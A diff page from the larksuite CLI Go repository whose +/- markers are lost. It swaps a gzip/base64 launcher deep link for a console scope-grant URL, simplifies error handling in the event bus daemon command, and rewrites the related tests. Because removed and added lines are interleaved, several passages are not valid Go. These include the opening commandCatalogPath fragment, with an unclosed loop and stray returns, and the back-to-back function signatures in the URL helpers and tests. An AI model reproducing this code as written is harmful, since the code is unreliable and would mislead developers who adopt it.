return registry.DeclaredScopesForMethod(target.Method.Method, identity)
}
// commandCatalogPath reconstructs the catalog path [service, resource..., method]
// from a command's ancestry, excluding the root command. It is the inverse of
// the service command tree's construction, so any depth (flat or nested)
// round-trips through apicatalog.Resolve.
func commandCatalogPath(cmd *cobra.Command) []string {
var path []string
for c := cmd; c != nil && c.Parent() != nil; c = c.Parent() {
path = append([]string{c.Name()}, path...)
service := cmd.Parent().Parent().Name()
resource := cmd.Parent().Name()
method := cmd.Name()
spec := registry.LoadFromMeta(service)
if spec == nil {
return nil
}
return path
resources, _ := spec["resources"].(map[string]interface{})
resMap, _ := resources[resource].(map[string]interface{})
if resMap == nil {
return nil
}
methods, _ := resMap["methods"].(map[string]interface{})
methodMap, _ := methods[method].(map[string]interface{})
if methodMap == nil {
return nil
}
return registry.DeclaredScopesForMethod(methodMap, identity)
}
// shortcutSupportsIdentity reports whether a shortcut supports the requested

View File

@@ -8,7 +8,7 @@ import (
"regexp"
)
// authURLPattern matches the grant-scope URL embedded in 99991672 errors; widen the host alternation when adding brands.
// authURLPattern matches the grant-scope URL embedded in 99991672 errors; widen when adding brands in consoleScopeGrantURL.
var authURLPattern = regexp.MustCompile(`https?://open\.(?:feishu\.cn|larksuite\.com)/app/[^/\s"']+/auth\?q=[^\s"'<>]+`)
// describeAppMetaErr reduces a FetchCurrentPublished error to a one-line stderr summary.

View File

@@ -12,7 +12,6 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/event"
@@ -39,8 +38,7 @@ func NewCmdBus(f *cmdutil.Factory) *cobra.Command {
logger, err := bus.SetupBusLogger(eventsDir)
if err != nil {
return errs.NewInternalError(errs.SubtypeFileIO,
"set up bus logger: %s", err).WithCause(err)
return err
}
tr := transport.New()
@@ -60,14 +58,7 @@ func NewCmdBus(f *cmdutil.Factory) *cobra.Command {
}
}()
if err := b.Run(ctx); err != nil {
if _, ok := errs.ProblemOf(err); ok {
return err
}
return errs.NewInternalError(errs.SubtypeUnknown,
"event bus daemon exited: %s", err).WithCause(err)
}
return nil
return b.Run(ctx)
},
}

View File

@@ -1,45 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package event
import (
"os"
"path/filepath"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// The hidden `event _bus` daemon command must exit with a typed file_io error
// when its log directory cannot be created (the error is only visible in the
// forked process's captured stderr / bus.log).
func TestBusCommandLoggerSetupFailureIsTypedFileIO(t *testing.T) {
dir := t.TempDir()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
// Block the events/ root with a regular file so MkdirAll fails.
if err := os.WriteFile(filepath.Join(dir, "events"), []byte("x"), 0600); err != nil {
t.Fatal(err)
}
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "cli_bus_test", AppSecret: "secret", Brand: core.BrandFeishu,
})
cmd := NewCmdBus(f)
cmd.SetArgs([]string{})
err := cmd.Execute()
if err == nil {
t.Fatal("expected logger setup error")
}
p, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("expected typed errs error, got %T: %v", err, err)
}
if p.Category != errs.CategoryInternal || p.Subtype != errs.SubtypeFileIO {
t.Errorf("problem = %s/%s, want %s/%s", p.Category, p.Subtype,
errs.CategoryInternal, errs.SubtypeFileIO)
}
}

View File

@@ -4,117 +4,21 @@
package event
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/json"
"fmt"
"strings"
"github.com/larksuite/cli/internal/core"
eventlib "github.com/larksuite/cli/internal/event"
)
// Landing-page contract for the scan-to-enable deep link, verified against the
// open platform: {open-host}/page/launcher?clientID=<appID>&addons=<encoded>.
// Note the param is camelCase "clientID" (not snake_case), and the value is the
// consuming app's own ID. Centralized so it can be corrected in one place.
const (
addonsLandingPath = "/page/launcher"
addonsClientIDParam = "clientID"
)
// ManifestAddons mirrors the 5 public manifest sections the launcher page accepts.
// Encoded form: JSON -> gzip -> base64url(no padding).
type ManifestAddons struct {
Scopes *AddonsScopes `json:"scopes,omitempty"`
Events *AddonsEvents `json:"events,omitempty"`
Callbacks *AddonsCallbacks `json:"callbacks,omitempty"`
}
type AddonsScopes struct {
Tenant []string `json:"tenant"`
User []string `json:"user"`
}
type AddonsEvents struct {
Items AddonsEventItems `json:"items"`
}
type AddonsEventItems struct {
Tenant []string `json:"tenant"`
User []string `json:"user"`
}
type AddonsCallbacks struct {
Items []string `json:"items"`
}
// encodeAddons: JSON -> gzip -> base64url(no padding). Matches the front-end decode chain.
func encodeAddons(a ManifestAddons) (string, error) {
raw, err := json.Marshal(a)
if err != nil {
return "", err
}
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
if _, err := gw.Write(raw); err != nil {
return "", err
}
if err := gw.Close(); err != nil {
return "", err
}
return base64.RawURLEncoding.EncodeToString(buf.Bytes()), nil
}
// consoleAddonsURL builds the scan-to-enable deep link carrying incremental scopes/events/callbacks.
func consoleAddonsURL(brand core.LarkBrand, appID string, a ManifestAddons) (string, error) {
encoded, err := encodeAddons(a)
if err != nil {
return "", err
}
// consoleScopeGrantURL builds the developer-console "apply & grant scopes" deep link; scopes are comma-joined without URL encoding.
func consoleScopeGrantURL(brand core.LarkBrand, appID string, scopes []string) string {
host := core.ResolveEndpoints(brand).Open
return fmt.Sprintf("%s%s?%s=%s&addons=%s", host, addonsLandingPath, addonsClientIDParam, appID, encoded), nil
return fmt.Sprintf("%s/app/%s/auth?q=%s&op_from=openapi&token_type=tenant",
host, appID, strings.Join(scopes, ","))
}
// consoleLandingURL is the bare landing page (no addons) — fallback when encoding fails.
func consoleLandingURL(brand core.LarkBrand, appID string) string {
// consoleEventSubscriptionURL points at the app's event subscription console page.
func consoleEventSubscriptionURL(brand core.LarkBrand, appID string) string {
host := core.ResolveEndpoints(brand).Open
return fmt.Sprintf("%s%s?%s=%s", host, addonsLandingPath, addonsClientIDParam, appID)
}
// addonsHintURL returns the scan URL, degrading to the bare landing page on encode error.
func addonsHintURL(brand core.LarkBrand, appID string, a ManifestAddons) string {
url, err := consoleAddonsURL(brand, appID, a)
if err != nil {
return consoleLandingURL(brand, appID)
}
return url
}
// missingScopeAddons routes missing scopes into the identity-appropriate section.
// The unused side is an empty (non-nil) slice so JSON encodes [] not null —
// the addons spec treats a missing tenant/user as an empty array.
func missingScopeAddons(identity core.Identity, missing []string) ManifestAddons {
s := &AddonsScopes{Tenant: []string{}, User: []string{}}
if identity.IsBot() {
s.Tenant = missing
} else {
s.User = missing
}
return ManifestAddons{Scopes: s}
}
// missingSubscriptionAddons routes missing events/callbacks into the right section.
// Like missingScopeAddons, unused event sides stay [] (not null) per the addons spec.
func missingSubscriptionAddons(subType eventlib.SubscriptionType, identity core.Identity, missing []string) ManifestAddons {
if subType == eventlib.SubTypeCallback {
return ManifestAddons{Callbacks: &AddonsCallbacks{Items: missing}}
}
ev := &AddonsEvents{Items: AddonsEventItems{Tenant: []string{}, User: []string{}}}
if identity.IsBot() {
ev.Items.Tenant = missing
} else {
ev.Items.User = missing
}
return ManifestAddons{Events: ev}
return fmt.Sprintf("%s/app/%s/event", host, appID)
}

View File

@@ -4,109 +4,33 @@
package event
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/json"
"io"
"strings"
"testing"
"github.com/larksuite/cli/internal/core"
eventlib "github.com/larksuite/cli/internal/event"
)
func decodeAddons(t *testing.T, encoded string) ManifestAddons {
t.Helper()
gz, err := base64.RawURLEncoding.DecodeString(encoded)
if err != nil {
t.Fatalf("base64url decode: %v", err)
}
zr, err := gzip.NewReader(bytes.NewReader(gz))
if err != nil {
t.Fatalf("gzip reader: %v", err)
}
raw, err := io.ReadAll(zr)
if err != nil {
t.Fatalf("gunzip: %v", err)
}
var a ManifestAddons
if err := json.Unmarshal(raw, &a); err != nil {
t.Fatalf("json: %v", err)
}
return a
}
func TestEncodeAddons_RoundTrip(t *testing.T) {
in := ManifestAddons{Scopes: &AddonsScopes{Tenant: []string{"im:message"}}}
encoded, err := encodeAddons(in)
if err != nil {
t.Fatalf("encode: %v", err)
}
for _, r := range encoded {
if !(r == '-' || r == '_' || (r >= '0' && r <= '9') || (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z')) {
t.Fatalf("encoded contains non-base64url char %q in %q", r, encoded)
}
}
out := decodeAddons(t, encoded)
if out.Scopes == nil || len(out.Scopes.Tenant) != 1 || out.Scopes.Tenant[0] != "im:message" {
t.Errorf("roundtrip mismatch: %+v", out)
func TestConsoleScopeGrantURL_Feishu(t *testing.T) {
got := consoleScopeGrantURL(core.BrandFeishu, "cli_XXXXXXXXXXXXXXXX", []string{
"im:message:readonly",
"im:message.group_at_msg",
})
want := "https://open.feishu.cn/app/cli_XXXXXXXXXXXXXXXX/auth?q=im:message:readonly,im:message.group_at_msg&op_from=openapi&token_type=tenant"
if got != want {
t.Errorf("url\n got: %s\nwant: %s", got, want)
}
}
func TestConsoleAddonsURL_FormatAndBrandHost(t *testing.T) {
url, err := consoleAddonsURL(core.BrandFeishu, "cli_x", ManifestAddons{Callbacks: &AddonsCallbacks{Items: []string{"card.action.trigger"}}})
if err != nil {
t.Fatalf("url: %v", err)
}
host := core.ResolveEndpoints(core.BrandFeishu).Open
prefix := host + "/page/launcher?clientID=cli_x&addons="
if !strings.HasPrefix(url, prefix) {
t.Errorf("url = %q, want prefix %q", url, prefix)
}
out := decodeAddons(t, strings.TrimPrefix(url, prefix))
if out.Callbacks == nil || len(out.Callbacks.Items) != 1 || out.Callbacks.Items[0] != "card.action.trigger" {
t.Errorf("decoded callbacks mismatch: %+v", out)
func TestConsoleScopeGrantURL_LarkBrand(t *testing.T) {
got := consoleScopeGrantURL(core.BrandLark, "cli_x", []string{"im:message"})
want := "https://open.larksuite.com/app/cli_x/auth?q=im:message&op_from=openapi&token_type=tenant"
if got != want {
t.Errorf("url\n got: %s\nwant: %s", got, want)
}
}
func TestMissingScopeAddons_ByIdentity(t *testing.T) {
bot := missingScopeAddons(core.AsBot, []string{"im:message"})
if bot.Scopes == nil || len(bot.Scopes.Tenant) != 1 || len(bot.Scopes.User) != 0 {
t.Errorf("bot scopes = %+v, want tenant-only", bot.Scopes)
}
user := missingScopeAddons(core.AsUser, []string{"im:message"})
if user.Scopes == nil || len(user.Scopes.User) != 1 || len(user.Scopes.Tenant) != 0 {
t.Errorf("user scopes = %+v, want user-only", user.Scopes)
}
}
func TestMissingSubscriptionAddons_EventVsCallback(t *testing.T) {
ev := missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"})
if ev.Events == nil || len(ev.Events.Items.Tenant) != 1 {
t.Errorf("event addons = %+v, want events.items.tenant", ev.Events)
}
cb := missingSubscriptionAddons(eventlib.SubTypeCallback, core.AsBot, []string{"card.action.trigger"})
if cb.Callbacks == nil || len(cb.Callbacks.Items) != 1 || cb.Events != nil {
t.Errorf("callback addons = %+v, want callbacks.items only", cb)
}
}
func TestMissingAddons_EncodeEmptyArraysNotNull(t *testing.T) {
// Unused identity sides must encode as [] (not null) so the launcher page's
// shape validation treats them as "缺省 -> 空数组" per the addons spec.
cases := []ManifestAddons{
missingScopeAddons(core.AsBot, []string{"im:message"}),
missingScopeAddons(core.AsUser, []string{"im:message"}),
missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"}),
}
for i, a := range cases {
raw, err := json.Marshal(a)
if err != nil {
t.Fatalf("case %d marshal: %v", i, err)
}
if bytes.Contains(raw, []byte("null")) {
t.Errorf("case %d encodes a null array, want []: %s", i, raw)
}
func TestConsoleScopeGrantURL_EmptyBrandDefaultsFeishu(t *testing.T) {
got := consoleScopeGrantURL("", "cli_x", []string{"im:message"})
if got != "https://open.feishu.cn/app/cli_x/auth?q=im:message&op_from=openapi&token_type=tenant" {
t.Errorf("unexpected url: %s", got)
}
}

Some files were not shown because too many files have changed in this diff Show More